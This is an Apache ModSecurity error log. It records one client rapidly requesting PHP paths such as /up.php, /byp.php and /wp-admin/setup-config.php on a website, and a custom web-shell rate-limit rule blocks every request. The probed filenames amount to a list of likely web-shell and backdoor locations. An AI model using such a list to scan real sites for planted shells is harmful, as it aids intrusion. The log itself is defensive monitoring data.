[Tue Mar 24 05:27:45.309736 2026] [:error] [pid 3032:tid 3113] [client 172.213.136.15:24737] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/baixy.php"] [unique_id "acGwUSa_-JXXD03-JNzDDAAAAIo"]
[Tue Mar 24 05:27:47.551380 2026] [:error] [pid 3137:tid 3160] [client 172.213.136.15:30786] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/baixy.php"] [unique_id "acGwU5dZesutm6dfYM_cYgAAANU"]
[Tue Mar 24 05:27:49.393689 2026] [:error] [pid 3137:tid 3163] [client 172.213.136.15:29268] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/baixy.php"] [unique_id "acGwVZdZesutm6dfYM_cagAAANg"]
[Tue Mar 24 05:27:50.397561 2026] [:error] [pid 3137:tid 3141] [client 172.213.136.15:25735] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/inege.php"] [unique_id "acGwVpdZesutm6dfYM_cbgAAAMI"]
[Tue Mar 24 05:27:52.824717 2026] [:error] [pid 3031:tid 3079] [client 172.213.136.15:27625] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/inege.php"] [unique_id "acGwWKJBKytnG47nuibXwwAAAEM"]
[Tue Mar 24 05:27:53.759250 2026] [:error] [pid 3137:tid 3157] [client 172.213.136.15:35026] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/inege.php"] [unique_id "acGwWZdZesutm6dfYM_cdAAAANI"]
[Tue Mar 24 05:27:55.102690 2026] [:error] [pid 3031:tid 3077] [client 172.213.136.15:20914] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/inege.php"] [unique_id "acGwW6JBKytnG47nuibXxwAAAEE"]
[Tue Mar 24 05:27:55.955014 2026] [:error] [pid 3031:tid 3081] [client 172.213.136.15:24639] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ak.php"] [unique_id "acGwW6JBKytnG47nuibXygAAAEU"]
[Tue Mar 24 05:27:57.533768 2026] [:error] [pid 38767:tid 38776] [client 172.213.136.15:25770] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ak.php"] [unique_id "acGwXfwkUqN4GJAI5oVupAAAAQY"]
[Tue Mar 24 05:28:13.494647 2026] [:error] [pid 3032:tid 3125] [client 172.213.136.15:20884] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/str.php"] [unique_id "acGwbSa_-JXXD03-JNzDMwAAAJY"]
[Tue Mar 24 05:28:14.770357 2026] [:error] [pid 3032:tid 3112] [client 172.213.136.15:31006] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/str.php"] [unique_id "acGwbia_-JXXD03-JNzDNgAAAIk"]
[Tue Mar 24 05:28:17.458527 2026] [:error] [pid 3137:tid 3159] [client 172.213.136.15:25790] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/str.php"] [unique_id "acGwcZdZesutm6dfYM_clQAAANQ"]
[Tue Mar 24 05:28:18.892554 2026] [:error] [pid 3030:tid 3054] [client 172.213.136.15:33231] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/str.php"] [unique_id "acGwcgyOuILyynfcqfnzIwAAAAU"]
[Tue Mar 24 05:28:19.518061 2026] [:error] [pid 38767:tid 38784] [client 172.213.136.15:25954] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/xwpg.php"] [unique_id "acGwc_wkUqN4GJAI5oVuyQAAAQ4"]
[Tue Mar 24 05:28:20.746576 2026] [:error] [pid 38767:tid 38785] [client 172.213.136.15:24593] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/xwpg.php"] [unique_id "acGwdPwkUqN4GJAI5oVuzwAAAQ8"]
[Tue Mar 24 05:28:21.728433 2026] [:error] [pid 38767:tid 38786] [client 172.213.136.15:33224] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/xwpg.php"] [unique_id "acGwdfwkUqN4GJAI5oVu1AAAARA"]
[Tue Mar 24 05:28:23.055100 2026] [:error] [pid 38767:tid 38775] [client 172.213.136.15:37786] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/xwpg.php"] [unique_id "acGwd_wkUqN4GJAI5oVu2wAAAQU"]
[Tue Mar 24 05:28:24.435545 2026] [:error] [pid 3030:tid 3069] [client 172.213.136.15:37084] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/zz.php"] [unique_id "acGweAyOuILyynfcqfnzKwAAABQ"]
[Tue Mar 24 05:28:26.297532 2026] [:error] [pid 3031:tid 3084] [client 172.213.136.15:32182] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/zz.php"] [unique_id "acGweqJBKytnG47nuibX2AAAAEg"]
[Tue Mar 24 05:28:27.361201 2026] [:error] [pid 3137:tid 3158] [client 172.213.136.15:26545] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/zz.php"] [unique_id "acGwe5dZesutm6dfYM_cmwAAANM"]
[Tue Mar 24 05:28:28.350422 2026] [:error] [pid 38767:tid 38770] [client 172.213.136.15:28679] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/zz.php"] [unique_id "acGwfPwkUqN4GJAI5oVu4wAAAQA"]
[Tue Mar 24 05:28:29.523928 2026] [:error] [pid 3032:tid 3110] [client 172.213.136.15:33271] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-admin/setup-config.php"] [unique_id "acGwfSa_-JXXD03-JNzDRgAAAIc"]
[Tue Mar 24 05:28:32.312440 2026] [:error] [pid 3031:tid 3082] [client 172.213.136.15:21118] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-admin/setup-config.php"] [unique_id "acGwgKJBKytnG47nuibX3QAAAEY"]
[Tue Mar 24 05:28:34.136047 2026] [:error] [pid 38767:tid 38789] [client 172.213.136.15:24610] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-admin/setup-config.php"] [unique_id "acGwgvwkUqN4GJAI5oVu9wAAARM"]
[Tue Mar 24 05:28:35.637515 2026] [:error] [pid 38767:tid 38782] [client 172.213.136.15:22222] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-admin/setup-config.php"] [unique_id "acGwg_wkUqN4GJAI5oVu_QAAAQw"]
[Tue Mar 24 05:28:36.298088 2026] [:error] [pid 3137:tid 3143] [client 172.213.136.15:22064] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/tanjiro.php"] [unique_id "acGwhJdZesutm6dfYM_cnQAAAMQ"]
[Tue Mar 24 05:28:37.230315 2026] [:error] [pid 3032:tid 3120] [client 172.213.136.15:32146] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/tanjiro.php"] [unique_id "acGwhSa_-JXXD03-JNzDTgAAAJE"]
[Tue Mar 24 05:28:38.045793 2026] [:error] [pid 3030:tid 3060] [client 172.213.136.15:33247] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/tanjiro.php"] [unique_id "acGwhgyOuILyynfcqfnzNgAAAAs"]
[Tue Mar 24 05:28:38.749280 2026] [:error] [pid 38767:tid 38781] [client 172.213.136.15:26315] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/tanjiro.php"] [unique_id "acGwhvwkUqN4GJAI5oVu_wAAAQs"]
[Tue Mar 24 05:28:40.225609 2026] [:error] [pid 3031:tid 3096] [client 172.213.136.15:37064] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/up.php"] [unique_id "acGwiKJBKytnG47nuibX5wAAAFQ"]
[Tue Mar 24 05:28:40.788192 2026] [:error] [pid 3137:tid 3151] [client 172.213.136.15:37115] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/up.php"] [unique_id "acGwiJdZesutm6dfYM_cqQAAAMw"]
[Tue Mar 24 05:28:41.775066 2026] [:error] [pid 3032:tid 3123] [client 172.213.136.15:37773] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/up.php"] [unique_id "acGwiSa_-JXXD03-JNzDWQAAAJQ"]
[Tue Mar 24 05:28:42.596626 2026] [:error] [pid 3031:tid 3089] [client 172.213.136.15:44561] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/up.php"] [unique_id "acGwiqJBKytnG47nuibX6wAAAE0"]
[Tue Mar 24 05:28:43.328929 2026] [:error] [pid 3032:tid 3118] [client 172.213.136.15:22229] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/class.php"] [unique_id "acGwiya_-JXXD03-JNzDXwAAAI8"]
[Tue Mar 24 05:28:44.181211 2026] [:error] [pid 38767:tid 38774] [client 172.213.136.15:22228] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/class.php"] [unique_id "acGwjPwkUqN4GJAI5oVvAgAAAQQ"]
[Tue Mar 24 05:28:44.847227 2026] [:error] [pid 38767:tid 38786] [client 172.213.136.15:37076] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/class.php"] [unique_id "acGwjPwkUqN4GJAI5oVvBAAAARA"]
[Tue Mar 24 05:28:45.732871 2026] [:error] [pid 3137:tid 3147] [client 172.213.136.15:33228] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/class.php"] [unique_id "acGwjZdZesutm6dfYM_ctwAAAMg"]
[Tue Mar 24 05:28:46.415876 2026] [:error] [pid 38767:tid 38785] [client 172.213.136.15:21060] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/BMjXQkgwpeb.php"] [unique_id "acGwjvwkUqN4GJAI5oVvCQAAAQ8"]
[Tue Mar 24 05:28:49.491277 2026] [:error] [pid 3137:tid 3143] [client 172.213.136.15:44594] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/BMjXQkgwpeb.php"] [unique_id "acGwkZdZesutm6dfYM_cvgAAAMQ"]
[Tue Mar 24 05:28:50.172044 2026] [:error] [pid 38767:tid 38774] [client 172.213.136.15:22263] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/BMjXQkgwpeb.php"] [unique_id "acGwkvwkUqN4GJAI5oVvGQAAAQQ"]
[Tue Mar 24 05:28:50.808824 2026] [:error] [pid 38767:tid 38773] [client 172.213.136.15:23382] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/BMjXQkgwpeb.php"] [unique_id "acGwkvwkUqN4GJAI5oVvGgAAAQM"]
[Tue Mar 24 05:28:51.602901 2026] [:error] [pid 3030:tid 3050] [client 172.213.136.15:37371] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/nope.php"] [unique_id "acGwkwyOuILyynfcqfnzPQAAAAE"]
[Tue Mar 24 05:28:52.712367 2026] [:error] [pid 3030:tid 3055] [client 172.213.136.15:37098] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/nope.php"] [unique_id "acGwlAyOuILyynfcqfnzPgAAAAY"]
[Tue Mar 24 05:28:53.576120 2026] [:error] [pid 3030:tid 3069] [client 172.213.136.15:26533] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/nope.php"] [unique_id "acGwlQyOuILyynfcqfnzQAAAABQ"]
[Tue Mar 24 05:28:54.972591 2026] [:error] [pid 3137:tid 3142] [client 172.213.136.15:6742] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/nope.php"] [unique_id "acGwlpdZesutm6dfYM_cxgAAAMM"]
[Tue Mar 24 05:28:55.684801 2026] [:error] [pid 38767:tid 38777] [client 172.213.136.15:22248] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/kwm4.php"] [unique_id "acGwl_wkUqN4GJAI5oVvKAAAAQc"]
[Tue Mar 24 05:28:56.522016 2026] [:error] [pid 38767:tid 38778] [client 172.213.136.15:6769] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/kwm4.php"] [unique_id "acGwmPwkUqN4GJAI5oVvKwAAAQg"]
[Tue Mar 24 05:28:57.354667 2026] [:error] [pid 38767:tid 38784] [client 172.213.136.15:42923] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/kwm4.php"] [unique_id "acGwmfwkUqN4GJAI5oVvLQAAAQ4"]
[Tue Mar 24 05:28:58.191792 2026] [:error] [pid 3137:tid 3163] [client 172.213.136.15:26102] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/kwm4.php"] [unique_id "acGwmpdZesutm6dfYM_cywAAANg"]
[Tue Mar 24 05:28:59.130301 2026] [:error] [pid 3137:tid 3160] [client 172.213.136.15:22238] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-aa.php"] [unique_id "acGwm5dZesutm6dfYM_czAAAANU"]
[Tue Mar 24 05:28:59.944848 2026] [:error] [pid 3030:tid 3065] [client 172.213.136.15:27028] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-aa.php"] [unique_id "acGwmwyOuILyynfcqfnzRQAAABA"]
[Tue Mar 24 05:29:01.345776 2026] [:error] [pid 38767:tid 38794] [client 172.213.136.15:27050] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-aa.php"] [unique_id "acGwnfwkUqN4GJAI5oVvNQAAARg"]
[Tue Mar 24 05:29:02.385011 2026] [:error] [pid 3030:tid 3059] [client 172.213.136.15:38355] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-aa.php"] [unique_id "acGwngyOuILyynfcqfnzSAAAAAo"]
[Tue Mar 24 05:29:03.324475 2026] [:error] [pid 38767:tid 38791] [client 172.213.136.15:26501] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/byp.php"] [unique_id "acGwn_wkUqN4GJAI5oVvOAAAARU"]
[Tue Mar 24 05:29:04.406353 2026] [:error] [pid 3031:tid 3081] [client 172.213.136.15:23645] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/byp.php"] [unique_id "acGwoKJBKytnG47nuibYGAAAAEU"]
[Tue Mar 24 05:29:05.560904 2026] [:error] [pid 3137:tid 3159] [client 172.213.136.15:27678] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/byp.php"] [unique_id "acGwoZdZesutm6dfYM_czwAAANQ"]
